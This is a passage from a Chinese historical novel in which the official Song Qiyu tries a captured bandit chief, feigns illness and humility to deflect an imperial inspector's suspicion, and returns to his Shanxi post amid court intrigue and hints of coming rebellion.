在接下来的几天里,伍名、刘戈、施济胜带着部队搜检了从丹江口到浪河镇之间的广大区域,虽然也时有所获,却始终没有发现甘老大的影子。到了大年初四傍晚,天上飘下了稀疏的雪花。伍名在军帐里略显焦急地骂道:“妈的,甘老大这王八蛋藏得还真深,咱们找了好几天,硬是没把他挖出来。难道他能长上翅膀飞了不成?”恰在此时,一个熟悉的声音从帐外传来:“他飞不了!”随即,帐帘一挑,宋启愚带着毛小满身寒气地走了进来。宋启愚张口说道:“这是一场好雪啊!或许甘匪落网就在这几日。”伍名赶紧过来给宋启愚见礼说:“是末将无能,劳大帅顶风冒雪来我营中。”毛小白了伍名一眼说:“都说你伍名心眼多,怎么抓个蟊贼就想不出办法了呢?”伍名被抢白的有些挂不住,一瞪眼睛说:“这地面虽然不太大,但都是沟壑水洼,藏个把人太容易了。我手下的弟兄都快累吐血了,那可不好找啊!”他又转身把宋启愚让到主座上,苦着脸说:“大帅,您先烤火暖和暖和。我这就再下严令,再搜山林,就算是累死几个军将,也要把那个土匪抠出来。”毛小上前拍了拍伍名,笑呵呵地说:“怎么,我来给你出主意,让你立头功,你还跟我赌气不成?宣道大人,要不,调我的部队来捉匪首如何?”伍名听他话里有话,随换上一副笑脸,说道:“自家兄弟怎么会生气呢。我就是心里着急。大帅和参军有何主张尽管教我?”宋启愚抬抬手说:“毛参军,别逗他了,抓获巨匪是正事。”毛小恭恭敬敬地抱拳应了声是,才转脸对伍名说:“你们前天抓的那个春四这些天就跟在甘老大身边,这说明那个巨匪就在这一带山里。今天的雪,让人倍感寒冷,你觉得甘老大能不生火挨过这几晚吗?再说,他也有两天没正经吃东西了,急需熟食充饥。如果我们把搜索部队先撤回来,只封住路口,再派出大量哨探登高观察,‘晚间看火光,白天看黑烟’,你想那甘老大还能藏得住吗?”伍名高兴地蹦了起来,大笑道:“妙计,妙计。大帅和参军真乃高人。我这就安排人依计行事。”宋启愚补充道:“伍名,你是警巡出身,对于哨令很熟悉。若晚间发现可疑目标,用哨令传信更为迅速,也能减少误伤,你可明白?”伍名收起笑容,打千施礼说:“末将明白。” 宋启愚的办法果然灵验,仅仅过了两天,甘老大就暴露了行藏。在又经过了几番搜捕后,这个罪大恶极的匪首最终走投无路,被施济胜带兵擒获。 第四十五回4 平定民变 正月初七,宋启愚在帅帐提审了甘老大。已被砸上重型镣铐的甘老大满不在乎地走上堂来,昂首而立。他瞟了一眼宋启愚,轻蔑地说:“原来你就是姓宋的。爷爷这一辈子享受了十年,值了!今天,既然落到你手里,你爱咋处置咋处置,爷爷不怕!”宋启愚先不理他,阴沉着脸对旁边吩咐道:“来人,请营外等候的百姓堂前听审。本节度要让人们看一看这个恶匪究竟长了个什么心肠。我也要让人们知道,不讲天理、没有良心的无赖绝不会有好下场。”不大的功夫,几百名百姓被带到了帐前。宋启愚见来的人中仍有不少惧怕甘老大,随一拍桌案说:“甘匪听了,你纵横丹汉十余年,攻城略地扯旗造反;戕害军民杀人如麻;聚敛钱财损人肥己;出卖兄弟不讲道义。你为了逃得狗命,甚至不惜杀死自己的亲生骨肉。你的所作所为,跟禽兽有什么区别!你这个魔鬼活着的全部目的就是为了你自己。”甘老大听着听着突然狂笑起来:“哈……哈哈……哈哈哈哈……姓宋的,你别在我这儿假模假式的。人哪有不自私的?别人要是有了权势,不也会这样对我吗?官府可没少干欺压百姓的事,你们有什么资格说我!”宋启愚指着这个无赖说:“本节度告诉你,人世间总有一些规则不能破坏,总有一些律条不能违反;即使一个人占有了再多资源,他也不能伤天害理!否则,人就不是人了,除了身首异处,还要遗臭万年。”甘老大装作没听见,乜斜着眼睛说:“姓宋的。在我们老家有个传说,说是在山上的洞里,住着一个青面獠牙的妖怪。它每年都要村里进献美女、美食和钱财,不然就给村里降灾。村里人害怕,就把好东西都给了它。后来,一个愣头青非要去把妖怪杀了。有两个好事的后生悄悄跟在后面。你猜怎么着?他们看见,那个愣头青进了山洞,几刀就把妖怪杀死了。可当他看到满洞的财宝和美女时,愣头青的脸变绿了,他的嘴里生出了獠牙。他变成了新的妖怪。”甘老大转脸恶狠狠地盯着帐外的人,骂道:“呸!一群贱种,老子得意的时候,你们恨不能舔老子的脚趾头,现在看老子落魄了,你们又他妈蹦出来充人来了。”宋启愚恼怒地冲刘戈使了个眼色。刘戈会意,上去先给了甘老大两个嘴巴,又一脚把他踢跪在地上,骂道:“没王法的东西,在这儿哪有你嚣张的份!”甘老大挣扎着想站起来,又被刘戈踢跪了几次。宋启愚冷笑一声说:“你讲这个故事无非是想说,人经不起现实的诱惑。但你可知,有良心的人做任何事情都要遵法讲理。不要以为你胳膊粗、拳头大就可以欺负老百姓,不要以为你拥有了生杀予夺的大权就可以为所欲为。堂下这些人在你看来是低贱的蝼蚁,可以随便践踏;但在我看来他们都是国家的财富,社会的支柱。他们每日里辛勤劳作、流血流汗不光是为了自家老小的吃喝用度,也是在为天下的百姓营造相互信赖、岁月静好的环境。”帐外的人从来没有得到过这样的肯定,他们全都感动得流下了眼泪。宋启愚又一拍桌案说:“姓甘的,你知道这几年你祸害了多少人吗?光咱丹汉地区原本应有几十万人口,可前几天本节度在发放救助时却连四万份都没有发到。你,你,你还我几十万子民的命来!若不是要把你押解进京,献俘阙下,我定要替丹江的百姓千刀万剐了你。”听着门外传来的号啕痛哭声,甘老大微微低下了头。他喘了几口粗气说:“这都是天意。宋大人,对你我服气,但对那狗皇帝和那些王八蛋的贪官们,我就是到了阴曹地府也不服!”宋启愚强压着怒火又说:“本节度知道,你原本也是穷苦人,父亲给人跑船淹死了,母亲过度操劳累死了,唯一的姐姐也因灾荒饿死了。这一次次变故造成了你偏激、自私的性格,使你变得凶狠、冷漠。但这一切绝不该成为你报复天下人的理由!更何况,那些被你迫害的人,绝大多数也是家徒四壁、衣食无着,绝大多数也都老实巴交、从无罪过。你在祸害他们的时候,可曾想到过你那同样老实的爹娘姐妹,你的良心难道就没有一点点疼痛吗?”甘老大被问得沉默半晌。他用手抹了一把眼角的泪水,跪倒说:“以前听说你是好官,我只是不信。现在,现在,甘某认罪便是。”他仰天长叹一声道:“唉!若早识得宋大人,甘某哪会走到这一步!” 之后的十几天,宋启愚收容流民、招抚残匪、重建地方、赈济百姓,做了许多好事。 这一天,宋启愚巡视完水军回营。他对身边的余天锡和毛小说:“如今,贼寇已平,可命易东、李开复等大将率领主力先回山西。我和你们带着三千兵马再多留半月,一是帮着地方重建秩序,二是帮着百姓恢复生产。然后,咱们再进京面圣,汇报本次剿匪的详细过程,并给将士们请功恤赏。”毛小一拱手说:“末将遵命,待会我便去安排相关事宜。不过,末将得报,咱山西的黜治使曾光启做了不少小动作。他不但连续接见省府官员,还下令全面执行六分利率的青黄法。”宋启愚皱了皱眉头说:“这怎么行,咱山西好不容易才有了外部安定、内部繁荣的大好局面,怎么能让这个曾光启给搅乱了呢!”余天锡抱拳说:“大人不必过虑,长白和曹可用他们会把此事处理好的。况且,您现在还挂着山西节度使的职衔,这个曾光启翻不出多大的浪来。不过,若此次进京,皇上象对待汉中节度使和雍州节度使那样,调整了您的差事,那结果可就不好说了。”宋启愚轻叹一声说:“皇权至大,乱政频出,执行随意,都是祸乱的根源。可我身为人臣,除了上书谏诤之外,又能有什么办法呢?” 待进了帅帐,毛小陪着小心说:“大帅,我们可以象河北、汉中那样,在山西搞一场哗变。末将听说,幽燕节度使耿宇辉为了不离开驻地,就是这么干的。”宋启愚微微摇头说:“我虽不是愚忠之人,但也不该无缘无故地行悖逆之事。毛参军这种话,不要再提了。我等今后应更加低调谨慎,明哲保身才是。”余天锡上前一步,拱手说:“大帅此言差咦。虽然,前段时间,再造大人依照您的建议,假称受伤,延时回京,并裹足吊臂,哭诉御前,确实没有受到大的处分。但您不一样,您是手握重兵的一方诸侯。皇上一旦对您产生猜忌,那结果不堪设想呀!且咱山西若是失去了您的庇护,那就会象其它地方一样,民变四起,生灵涂炭啊!”宋启愚坐回帅座,沉吟了片刻,说道:“二位将军的心意我已明了。我确实害怕圣上起疑。为此,在进兵之初,我授意段卫国将军弹劾我贪污;还在一路上向皇上抱怨补给不足,请求多给赏赐;这都是本节度自泼污水的无奈之举啊。只是,我现在不能依从你们。不如这样,我们先看一看,等一等,也许,事情没有我们想象的那么糟糕。” 那么,宋启愚后来的命运将会如何呢?天下的形势会发生怎样的变化呢?欲知后事如何,且看下回分解。 第四十六回1 脱困回晋阳 天通四年二月初二,是宋启愚拔营凯旋的日子。数万官吏百姓扶老携幼地从丹阳、郧阳、武当、谷城以及丹江口附近赶来。人们跪伏在道边,依依不舍地给宋启愚饯行。当运载大军的船只开动时,老百姓们沿江跟随。直到船队驶出了好远,两岸的人还在翘首遥望。船队慢慢消失在山川尽头了,人们跪地祈祷,希望上天能够睁眼,护佑自己的救星宋青天还有这支出民水火的仁义之师。 过了一天,部队停驻樊城。欧阳亮和吕世法匆匆赶来,求见大帅。宋启愚知道有事,急忙传他们入帐,并叫毛小和余天锡在身边听用。欧阳亮二人进来施礼后,宋启愚挥手说:“刘戈、段鲲,你们带人到帐外警戒,闲杂人等不许入内。”待众人出去,吕世法拱手说:“大人,我二人前些时奉吴总办和曹总办所差,到东京为大人打探消息,疏通关节。上元节那天,童大人得知皇上似有晋封您为枢密副使之意,并恩赏您提举白云观,只是要免去您的节度使职衔。下官怕消息不实,又通过远亲搭上了敬事房太监白济的关系,对此进行了核实。现在,童大人正在找寻关系,想保住您的节度使职务。他还写下了亲笔书信,特命我二人捎给大帅,并请您速做决断。”说着,吕世法从怀中取出一份信笺,双手捧了上来。宋启愚展信仔细看了一遍,缓缓地说:“毛参军前些时所说幽燕节度使耿宇辉指使军队哗变的事,看来并非空穴来风。而且不愿尊奉中央的还不止他一人。川陕宣慰使骆建成因不满调任岭南,利用汉中骚乱之机,烧毁了栈道,阻断了交通,似乎有割据意图。广西节度使赵义廷则公然反叛,自立为桂王。而副宰相张永德为了避免多线作战,不得不与夜郎国议和。”毛小大惊道:“若这些地区果真叛乱,那天下可就无法收拾了。”余天锡沉吟道:“这么说,在被调动的封疆大吏中只有大人没有悖逆之举,且还立下了平叛大功。”宋启愚转脸又问欧阳亮:“欧阳员外郎,你长期研究朝中局势,对目前京中的派系纷争怎么看?”欧阳亮一拱手说:“大人,去年副相冯体仁欲攫取宰相之位,却未能成功。反倒是刘睿在收复延绥后,代替赵松寿升任了宰相。但刘相在朝中似乎很孤立。他被冯体仁、张永德、司马德文、齐元能等人压制得举步维艰,很是郁闷。虽然,执政卢庆春、白铭肇、单宏波有时也会出面调和一下双方的矛盾。但就整体而言,刘相始终处在弱势。”毛小想了想,说道:“裁撤封疆大员的议案是冯体仁提出的,那么刘相从争夺权势的角度考虑,必然抵触这项政策。现在边疆地区烽烟四起,正好给了刘相攻讦冯相一党的机会,他肯定不会错过。且刘相在朝中势微,若大人此时向其示好,他自然求之不得。因此,末将建议大帅给刘睿写信,明为报捷,实为表忠。那样,刘相又怎么可能不替大帅说话呢?”余天锡点头说:“参军所言有理。且我听说,刘睿这个人相对清廉,在人品上要好过冯体仁和张永德。让他出面替大帅说话,确实对我们有利。”宋启愚微微一笑,又转脸问吕世法:“吕员外郎,你们在京城跟童大人是否也是这样议定的呢?”吕世法一拱手说:“回大帅,童大人确实认为可以通过刘相为您争取到继续节度山西的权力。”宋启愚站起身来,在大帐里来回踱了几步说:“给刘相写信当然很有必要,不过,不能作为咱们唯一的手段。一方面,我要继续做各种韬光养晦的事情,以期得到陛下的信任,至少不能被他猜忌。另一方面,咱们还要让皇上觉得保留我的节度使位,对他安抚边镇更有意义。朝廷可以以我为例证劝慰其他边镇,只要他们为国出力,回归朝廷,便有留任的可能。”毛小一拍脑袋说道:“我明白了。大人的意思是要我们一边向刘睿示好,通过他弹劾冯体仁,使朝廷暂缓裁撤封疆;另一边重贿冯体仁,利用他想弥补所犯过失的心理,保荐大人,同样达到暂缓调任的目的。”宋启愚回到帅座,笑着说:“毛参军还是见解得更深一些。你们想想看,冯体仁给国家闯了祸,甚至天下都要分裂了,他能不如坐针毡吗?我们若现在既给足他脸面,又帮他解决了问题,他还有不维护我们的道理吗?”欧阳亮挑起大拇指说:“大人思虑周详,多路并进,确实比下官高明许多。事不宜迟,请大人这就斟酌字句,写下亲笔。好让我二人明日回京,为大人疏通门路。”宋启愚轻轻拱手说:“宋某感谢二位为我奔波谋划。你们可先到偏帐休息,我这就拟稿写信。” 几天后,宋启愚的军队到达南阳府。吃罢了晚饭,宋启愚又象往常一样,开始给天通帝写奏折,汇报这两天的行程见闻。在旁警卫的段鲲把灯烛拨亮了些,说道:“大人累了一天,该早些休息。何必亲自写折,完全可以让毕恒这些文书代劳。”宋启愚抬头看了一眼段鲲,说:“已经习惯了,不觉得劳累。”他刷刷点点又写了几行字,放下毛笔,把奏折拿起,轻轻吹了吹,接着说:“你也累了一天,为何不叫许地、杨道他们早些替你值岗呢?”段鲲给宋启愚斟上茶水,嘿嘿一笑说:“大人是咱山西的救星,也是末将的救星,能终日待在您的身边,我高兴还来不及,哪能让他们替呀!”宋启愚把折本合上,装进袋中,又说:“那要是我被调往他处,不在山西待了呢?”段鲲抱拳说:“那可不成!在大人治下,咱山西才享有了几年的繁荣太平。尤其是这次南下,对比沿途百姓的凄惨生活,我们这些山西子弟才真正明白,大人对咱山西有多么重要。”宋启愚又说:“可是,本次进京,我确实有调任的可能啊。”段鲲脱口而出道:“大人去哪儿,咱山西人也去哪儿,其他大员咱信不过!”这时,毛小挑帘进入大帐,笑着说:“说的不错,其他人咱们确实信不过。”他给宋启愚见过了礼,又继续说:“你们是大人从警巡队精心挑选出来的宿卫,个个功夫了得。记得当年,我跟你们一样,也是警巡出身。有一次,大人来给我们讲课,说的是《细柳军营》的故事。我还依据它制定了《警巡条例》。为此,大人还赏了我一条五彩缎带。至今,我都把它当成最大的荣誉,并精心保存。”段鲲羡慕地说:“大人也给我们讲过这个故事。但我却不象参军这样爱动脑筋。”毛小接着说道:“可你是否知道,那位尽忠职守、立下大功的周亚夫却因遭到汉景帝猜忌被下了大狱,最后被逼自杀呢?”段鲲大瞪着双眼,追问道:“可这是为何呀?”宋启愚轻叹一声说:“唉,君要臣死罢了。汉景帝对外的说辞是周家在给周亚夫准备后事时,多备了几百套盔甲,污蔑他要在阴间造反。”段鲲以拳击掌骂道:“他娘的,昏庸的汉景帝,这算什么狗屁理由!”毛小笑笑说:“汉景帝可不是昏君啊,有名的文景之治就是在他统治期间出现的。段兄弟跟在大人身边,可不能光知道勇武,以后还要多读些书才是啊。”宋启愚随手从案上拿过一本《汉书》递给段鲲说:“这是我正在看的《留候世家》和《绛候世家》,你拿去读吧。”段鲲赶忙跪地,伸出双手把书接了过去。宋启愚又转身把写好的奏折袋子交给毛小,吩咐道:“派人连夜送进京师,也好让皇上对咱们多些信任。” 第四十六回2 脱困回晋阳 在开封城里,经过童道生、欧阳亮、吕世法等人的多方斡旋,一些大臣开始向皇帝提出暂缓调动封疆的建议。这一天下午,天通帝召见了冯体仁和齐元能。他懒懒地靠在胡床上,慢慢地说:“卿近日所奏暂时留任宋启愚一事,朕以为可行。”他猛咳了几声,接着说道:“从他上的奏折和历年进京觐见时的做派来看,这个宋启愚还算恭顺。但,朕仍要派员去考察他,从而确认他对朕的忠心……”天通帝又咳了几声,继续说:“此为权宜之计,待川陕回归,广西平定,朕还要再换封疆……”又是一阵剧烈的咳嗽。白登赶忙命人给皇上献茶、献手巾。他又动手帮着皇帝推了推背。冯体仁跪地磕头说:“是臣下们虑事不周,给皇上添了烦忧。臣身为副相,不能防微杜渐,实在昏聩无能。臣情愿南下,替您甄别忠奸。”齐元能也跪下说:“主子应善保龙体,不可太过操劳。奴才也愿替主子前往宋启愚军中,听其言,观其行,确认他是否能为主子所用。”天通帝摆摆手说:“冯卿正在彻查诽谤朝廷的惊天巨案,且你还需具体负责光州进贡丹药一事,故不宜出京。而齐卿整顿禁军、护卫京城的责任重大,前些日子又刚出了响马行刺朕的事,故而,也不能轻易派出。朕以为,还是让执政白铭肇先去考察一番更为合适。”冯体仁思忖片刻后,点点头说:“陛下圣明,白执政乃是圣人程熹的学生,文采出众,又带兵打过仗,对陛下更是忠心不二,确实是考察官员军将的最佳人选。” 在这次奏对之后的第二天,天通帝便给白铭肇下了圣旨,命他前往宋启愚军中犒赏三军。 童道生得到消息后,立即从吏部官员档案中搜罗了关于白铭肇的各种材料,包括这个人的出身、秉性、爱好等等。他又找寻了程熹和白铭肇的一些着作,命吕世法快马送往宋启愚处,希望兄长早做准备。 宋启愚得到报告,马上就接待白铭肇的问题做出了安排。他先命毛小教给军将们礼仪和礼法;又命权正仪精心设计了军帐陈设;还命余天锡管理好军队;最后命伍名看管好甘老大等在押的匪首,以备钦差检视提审。 二月十八日巳初,钦差一行到达鄢陵地区。正坐在车里思考事情的白铭肇,忽听前方传来了震耳欲聋的呐喊声。他急忙挑开车帘,往外观瞧。但见远处旌旗招展、绣带飘扬,数千将士阵型严整、盔明甲亮地矗立在官道两侧。这支部队在几员将军的带领下,齐声高呼:“皇上万岁!大周万岁!皇帝威武!大周威武……”白铭肇不由得惊叹道:“好威风的军阵啊!如果当年我能治出这样的大军,何愁贼寇不平啊。”他正愣神间,一名亲随跑到车前,打千禀报道:“白大人,钦命丹江征讨大将军、山西节度使宋启愚率领全军前来迎接。”白铭肇微微抬手说:“知道了。命他在前面跪接圣旨。”亲随答了声“是”便飞跑着传话去了。白铭肇又对仪仗统领吩咐道:“让大伙都支棱起来。要论派头,咱这钦差队伍怎么着也不能输给前面的丘八。” 在之后的整个传旨过程中,白铭肇始终表现得相当冷淡,甚至有些居高临下。 待进入军营,白铭肇大模大样地走进帅帐,径直坐到了帅座上。宋启愚恭恭敬敬地躬身说:“钦命犒赏三军专使、政事堂执政白大人在上,卑职钦命丹江征讨大将军、山西节度使宋启愚给您见礼。”说着,宋启愚就欲跪下给白铭肇行大礼。按照当时的规矩,白铭肇和宋启愚都是钦差,且白铭肇业已传旨完毕,在军中的地位是没有宋启愚高的。白铭肇应赶紧搀扶住宋启愚,说些客套话,并给宋启愚看座。可这位白执政竟什么也没说,愣是让宋启愚跪倒给自己磕了三个头。他吩咐宋启愚起身后,略微笑了笑说:“早就知道宋大人带兵有方,今日一见,果然名不虚传。”脸色蜡黄的宋启愚连咳了数声,才说:“白大人谬奖。宋某一介文生,哪懂什么军事,都是将士们愿意为国用命罢了。”白铭肇看了看宋启愚,问道:“宋大人脸色不佳,可是身体不适?”宋启愚又咳了几声,说道:“多谢大人关心。我这背上的旧伤,一到冬季便会发作,很是折磨人。为此,我早想辞去官职,回乡养病。只是,边境上这几年一直有事,故而拖延至今。”他喘了口气,接着说:“白大人,卑职这一路上,已经写好了辞呈。今日大人来,正好交与大人,由您转呈陛下。卑职也好将军队带回晋阳,然后,卸任归隐。”白铭肇换上较为亲和的口吻说道:“宋大人乃国之栋梁,皇上正欲大加抬举,怎能就此隐退呢?且本钦差此来仅为劳军,又怎么能帮大人转交辞呈呢?”这时,毛小让段鲲和许地献上药来,请大人服用。宋启愚皱着眉头,勉强喝下了汤药,连声说:“好苦,好苦。”此后,白铭肇又向毛小等人略略询问了宋启愚的病情,并温言抚慰。接着,他还向宋启愚了解了此番剿匪的大体过程。直到午时,此次会见才告结束。 第四十六回3 脱困回晋阳 当天,白铭肇决定下榻在军营。他没有按照宋启愚的安排住在偏帐,而是直接占据了宋启愚的帅帐。晚饭后,白铭肇随意翻检着宋启愚的书框和书架。当他看到自己老师程熹的着作赫然与孔子、孟子以及董仲舒的经典放在一起,而自己的诗集竟然也排在李白、杜甫等名家的诗稿之后时,他的脸上不由得浮现出得意的表情。白铭肇小声自语道:“看来宋大人还算是个谦虚的后生,比朝中那些不学无术的家伙强得多呀。”他又转身走向帅案,肆意翻看着宋启愚的日常文书。其中一份已经写成却没有发出的信件,引起了白铭肇浓厚的兴趣,因为,在信笺旁边的封皮上赫然写着“河北耿节度使宇辉阁下亲启”字样。白铭肇三两下把这封信扒了出来。他凑近灯烛,低声读道:“昨得兄书,反复读之,音容笑颜,历历在目。然兄阻止我快速出兵,南下平贼一事,弟以为不妥。有道是‘忠君爱国之诚兮,不虞乎后日之祸’……你我本是微末贱民,全赖皇恩浩荡,才得出任封疆。如今,人民受难,生灵涂炭,正是弟为国出力,报答君恩的时候。我又怎么会推脱责任,逡巡不前呢……”白铭肇略略有些激动。他轻轻用手抚了一下额头,自言自语道:“似我和宋启愚这样的忠臣良将却每每被圣上冷落猜忌,反倒是冯体仁、齐元能那种小人蒙恩宠、被重用,这真是天道沦丧啊!” 次日辰时,宋启愚得知白铭肇已用过了早饭,便恭候在帅帐外面,等着钦差传见。白铭肇没有再端臭架子,而是亲自迎了出来。他拉着宋启愚的手,说道:“老夫不是刻薄之人。宣道大人正在病中,何必拘泥于这些礼数呢?”宋启愚躬身说:“白大人既是钦使又是前辈,于公于私宋某都应赤诚相待、竭尽忠心,又怎么会以小小病疴为念呢?”白铭肇随将宋启愚让进大帐,并与之攀谈了大半个时辰。他们先从各自的科举经历谈起,又聊到了经史子集。白铭肇对自家恩师程熹的理论颇为自信,说起话来,引经据典,滔滔不绝。而宋启愚除了偶尔附和外,并没有发表太多见解。接着,二人又对边镇形势、地方建设交换了意见。白铭肇对宋启愚的答话很是满意。巳时,宋启愚命许地等人给自己进了一次汤药。望着这个低头喝药、满脸病容的后生,白铭肇捋着花白的胡须,微笑着说:“看宋大人的行事做派,还真与老夫年轻时有几分神似。当年,老夫往丹阳剿匪,也是恩威并施,剿抚并重,先后平灭了伊涛部、卢幺部、杨安部,又协助宋老弟招安了钟诚部,只是逃脱了甘老大。不过,话又说回来,若没有这个甘老大再次造反,你我二人也无缘相识,老夫也就错过了为大周发现人才的机会啊!”其实,宋启愚对那段经历印象极为深刻。他很清楚当年白铭肇和林九都等人对丹江百姓都做了什么。他不好戳破白铭肇的自夸之词,只能轻轻笑了笑,身施一躬说:“老大人太过谦虚。晚辈怎能与您相提并论呢?且不说您剿灭了三部贼匪而我只灭了一个甘老大,就是看师从学问、清廉人品、行政才能、资历功绩等等方面,晚辈都与您相去甚远,根本不能同日而语。”白铭肇被夸得有些飘飘然,心里暗暗思忖道:“此后生已被老夫完全驯服,没有必要再为难他。只要他日后能念我的好,老夫便可在天子面前为他美言。” 第二天上午,白铭肇在提审完匪首甘老大之后,辞别了宋启愚,回朝复命。宋启愚望着远去的钦差仪仗,长舒了一口气,自言自语道:“满朝尽是倾轧弄权之徒、自以为是之辈,平常只知蝇营狗苟,遇到变乱却百无一用,如此这般,我大周的国祚焉能长久。”接着,他对身后命令道:“通知下去,过午拔营。咱们要赶在天子圣寿前,进京献俘。” 二月二十八日辰时,宋启愚将甘老大等人押解到了皇城宣德门外。天通帝按照传统礼制,身穿华服,头戴冠冕,登上城楼,享受了宫城献俘、阙下监斩的荣耀。在臣僚军将们的山呼万岁声中,天通帝意气风发,傲气十足。他当即下旨晋封宋启愚为枢密副使、恩赏提举白云观,并赐与宅邸一座。他还专门派出御医给宋启愚诊病,并特旨其可以参加全部圣寿庆典,旬月之后方能离京。 受到升赏的宋启愚一时间成了朝里的红人,不但亲朋故旧争相来贺,就连宰执枢密一级的显贵也常请他吃酒。在这些日子里,宋启愚每每一手执药罐,一手端酒杯,纵情豪饮,不醉不归。也有好事者,引着他谈论时政,但宋启愚总以吟诗作赋、歌颂圣朝相搪塞。 天通帝听说这些传闻后,特意在延庆殿摆下酒席,只请了宋启愚等十几名高官痛饮。宴后,天通帝又命大太监白登追至宋府,赐予了宋启愚一套价值连城的酒具。已经微醺的宋启愚磕头涕泣,激动不已。他捧着皇帝颁给的杯壶上下打量,又向壶身哈气,以衣袖擦抹。接着,他又端起杯盏,反复把玩,爱不释手。直到白登叫了他好几次,宋启愚才回过神来。他一边鞠躬,一边赔礼,一边不停地说着感谢圣上赐予的话。当毛小和欧阳亮等山西属官上前招呼白登时,也许是由于饮酒过量、腿脚发软,宋启愚竟怀抱着御赐珍宝卧地鼾睡。毛小等人忙以替大人遮丑为名,贿赂了白登。这位内宫大总管笑嘻嘻地调侃道:“都说山西人抠,爱财如命,咱家只是没有见识过。今日看宋大人的做派,倒还真有些猫狗护食的意思。啊。哈哈,哈哈,哈哈哈哈……”毛小等人也不辩驳,一边命人将大人架进府内,一边小心地奉承着这位大总管。 第四十六回4 脱困回晋阳 白登回宫后,一五一十地向天通帝讲述了宋启愚接受赏赐的经过。天通帝半躺在暖床上,轻咳了几声,略带轻蔑地说道:“不过是几件酒器,竟稀罕成这样,瞧他那点出息!”接着,他自言自语道:“既然能用恩赏收买,朕不妨放他回去。”天通帝又咳了两声,对白登吩咐道:“明天叫冯体仁拟旨,授予宋启愚一等伯爵勋位,仍然外放任山西节度使,同时,免去他枢密副使职务,但保留副使衔和提举白云观待遇。”白登陪着笑说:“陛下如此抬举那只醉猫,他还不得天天遥望京城,跪拜谢恩啊!”天通帝微微笑了笑说:“你还真没说错。据蒲文运派去监视宋府的人报告,那只醉猫每天都要叩拜朕的圣旨,品读朕的圣谕。要是天下士子全都如此,哪还会有叛乱的事啊!”说话间,天通帝缓缓地从枕边的银匣子里取出了两丸丹药。待服下后,他闭上眼睛养了一会神,又说道:“朕听说,宋启愚的长子业已成年,现在汾水为官。朕前些时已下旨调他入京,估计近日便能到开封了。”白登挑起大拇指说:“主子既能对其父恩威并施,又能对其子慧心巧运。主子如此洞悉人心,真可谓千古第一睿智帝王啊!” 在宋承宇来到京城的第二天,宋启愚就接到了回任山西的圣旨。当晚,宋启愚对儿子做了一番交代,并叫吕世法和许地留下,保障儿子的安全。次日清晨,归心似箭的宋启愚到宣德殿避辞了天子、告别了同僚,便带着毛小等十几名属官骑马往城西投去。 出城十里,突然有位壮汉拦路高呼:“宣道大人且留步。我家大人正在前方恭候,要与大人话别。”宋启愚勒马观瞧,来人却是王虎,而童道生也正站在不远处的长亭外,向他挥手致意。宋启愚笑着跳下战马,吩咐部将道旁歇息。他边向长亭走边呼唤道:“再造,你这半个多月一直称病,身体可好些了?”童道生快步迎上前来,先给兄长见了礼,又拉住兄长唏嘘道:“再造并无疾病,只是怕皇帝猜忌兄长,才不敢登贵府的门;我又诋毁兄长贪财,指责您失德,其实都是应了毛参军和欧阳员外郎的嘱托,想麻痹众人,使兄长早日脱困而已。”宋启愚呵呵笑着说:“兄弟的良苦用心,我焉能不知,怎么会相怪呢。”兄弟二人挽手进入长亭,坐下饮茶叙话。 大约过了半个多时辰,童道生向亭外叫道:“毛参军,请到近前来。”毛小不知何事,急忙起身跑进亭中。童道生微笑着对宋启愚说:“一个多月里,我与兄长一共只见过四五次,且均在朝堂或宴饮时,而咱们却始终心有灵犀、如同一体,这全赖毛参军从中运作、来回协调。如今,毛参军已是镇守使衔的大将,再叫毛小恐怕不太尊重,故而我想为他取名为毛迪字承循,兄长以为如何?”宋启愚大笑道:“由你这个文曲星给他取名,是他求都求不来的,哪有不愿意的道理呢!”毛小郑重地跪地,给童道生和宋启愚磕了三个头,说道:“毛迪谢童大人赐名。承循能有今天全都是宋大人和童大人用心栽培的结果。今后,毛迪只愿为大人们鞠躬尽瘁,死而后已。”童道生伸双手把毛迪搀起来,拍着他的肩膀说:“有你们这些忠勇之士在兄长身边,我没什么可担心的。另外,你前些时跟我说的事情,我完全赞同。今后,咱们就各自用心,为宣道筹谋,以期荡涤世界,清平宇宙。”毛迪抱拳躬身说:“承循定会小心策划,时刻不懈。”宋启愚疑惑地看了看童道生,问道:“你们在说什么?”童道生呵呵一笑说:“兄长,我的意思是,今后,承宇在京城供职会遇到不少麻烦,绝不能乱说乱动。不过,您放心,有我童道生在,没人能害得了咱家孩子。”宋启愚点点头说:“那就有劳再造费心了。先前,为了不给旁人制造攻击我的口实,我便让天锡带着部队驻扎于城西二十里外,并极力约束。后来,我又发现自己府里到处是朝廷的眼线。以至于,每到晚上,我就觉得脊背发凉。现在,承宇被皇上扣在京里,做了人质。他要面对的凶险,恐怕比我还多十倍。昨晚,我特意向承宇做了交代,要他长驻侍卫司,做好典军校尉分内的事,非必要不回府。我也告诉他遇事多向姑丈请教,希望他能谨之慎之,躲过朝里人的明枪暗箭……” 一刻钟后,宋启愚在童道生的注视下重新跨上了战马。他看着漫天飞舞的茫茫白絮,仰天长叹道:“一年一度柳絮飞,万转千回无定徊。满眼颓垣欹病树,纵是英雄怎做为?”他转身抱拳,对童道生说了个:“兄弟保重。哥哥去了。”随后,他便坚定地催动坐骑,纵马向前。后面的毛迪不敢耽搁,立即挥手高喊道:“跟着大人,出发。” 童道生回到长亭上,冲着远去的烟尘跪下,低声自语道:“大鹏一日同风起,扶摇直上九万里。兄长既已潜龙出渊,弟也可高枕安寝了。弟唯愿兄长早日举英雄之事,出民水火、解民倒悬,还天下人一个朗朗乾坤!” 第四十七回1 耿宇辉失算 宋启愚往援 天通四年六月,幽燕节度使耿宇辉在得知宋启愚平安回任后,主动向朝廷上了请罪折,并亲率六万大军南下剿匪,最终扑灭了兴起于淮安和盐都地区的苏十一起义。而川陕宣慰使骆建成也在加强了四川军备后,派出使节从水路出川,向朝廷表达了拥戴之意,并承诺尽快修复栈道,恢复交通。天通帝在和重臣们商议后,随命令骆建成和耿宇辉遣子入朝,实际上就是要通过扣押人质来控制这些封疆大吏。 至天通四年十月,张永德在简州击破了赵义廷的主力。其后,张永德率军顺着邕江西进,迅速包围了广西首府邕州。自称桂王的赵义廷在城破前,将大量珍宝堆积在府内,并带着全家老幼自焚。至此,持续了将近两年的西南战争大体结束。只是,在这场战争中,周朝不但没能消灭分裂自立的夜郎国,反而还被吐蕃和大理蚕食了土地。 